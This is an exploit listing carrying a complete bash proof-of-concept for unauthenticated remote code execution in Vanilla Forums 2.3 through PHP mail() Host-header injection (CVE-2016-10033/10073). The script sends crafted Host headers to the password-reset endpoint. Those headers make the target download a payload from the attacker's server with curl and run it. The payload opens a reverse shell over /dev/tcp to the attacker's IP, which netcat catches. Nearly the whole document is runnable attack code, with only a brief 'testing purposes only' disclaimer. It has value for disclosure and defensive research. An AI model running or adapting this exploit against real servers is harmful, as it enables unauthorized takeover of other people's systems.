Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day

2017.05.12
Risk: High
Local: No
Remote: Yes
CWE: N/A

#!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # Vanilla Forums <= 2.3 Remote Code Execution (RCE) PoC Exploit 0day # Core version (no plugins, default config.) # # CVE-2016-10033 (RCE) # CVE-2016-10073 (Header Injection) # # vanilla-forums-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski # https://legalhackers.com # https://twitter.com/dawid_golunski # # ExploitBox project: # https://ExploitBox.io # # # Exploit code: # https://exploitbox.io/exploit/vanilla-forums-rce-exploit.sh # # Full advisory URL: # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html # # Related advisories: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html # # White-paper 'Pwning PHP mail() function For Fun And RCE' # https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html # # # Usage: # ./vanilla-forums-rce-exploit.sh target-forum-url reverse_shell_ip # # Tested on: # Vanilla Core 2.3 # https://open.vanillaforums.com/addon/vanilla-core-2.3 # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulnerabilities/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # Subscribe at: # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } echo "$intro" | base64 -d if [ "$#" -ne 2 ]; then echo -e "Usage:\n$0 target-forum-url reverse_shell_ip\n" exit 1 fi target="$1" rev_host="$2" echo -e ' \e[44m| ExploitBox.io |\e[0m' echo -e " \e[94m+ --=|\e[0m \e[91m Vanilla Forums <= 2.3 Unauth. RCE Exploit \e[0m \e[94m|\e[0m" #sleep 1s echo -e "\e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m Discovered & Coded By \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mDawid Golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94mhttps://legalhackers.com\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \033[94m@dawid_golunski\033[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \e[94m|\e[0m \e[94m+ --=|\e[0m \"With Great Power Comes Great Responsibility\" \e[94m|\e[0m \e[94m+ --=|\e[0m \e[91m*\e[0m For testing purposes only \e[91m*\e[0m \e[94m|\e[0m " echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" #sleep 2s #sleep 2s # Host payload on :80 RCE_exec_cmd="(sleep 5s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # POST data string data='hpt=&Target=discussions&Email=admin&Request+a+new+password=Request+a+new+password&DeliveryType=VIEW&DeliveryMethod=JSON' # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -0 -s -i -d "$data" $target/entry/passwordrequest | grep -q "200 OK" if [ $? -ne 0 ]; then echo "[!] Failed conecting to the target URL. Exiting" exit 2 fi echo -e "\e[92m[+]\033[0m Connected to the target" echo -e "\n\e[92m[+]\e[0m Payload sent successfully" sleep 2s # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/usr/bin/nohup /bin/bash /tmp/rce" prep_host_header "$cmd" #echo -e "Host Payload2: \nHost: $host_header" curl -H"Host: $host_header" -s -0 -i -d "$data" $target/entry/passwordrequest >/dev/null 2>&1 & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 #killall python echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi #kill -9 $hpid echo "Exiting..." exit 0


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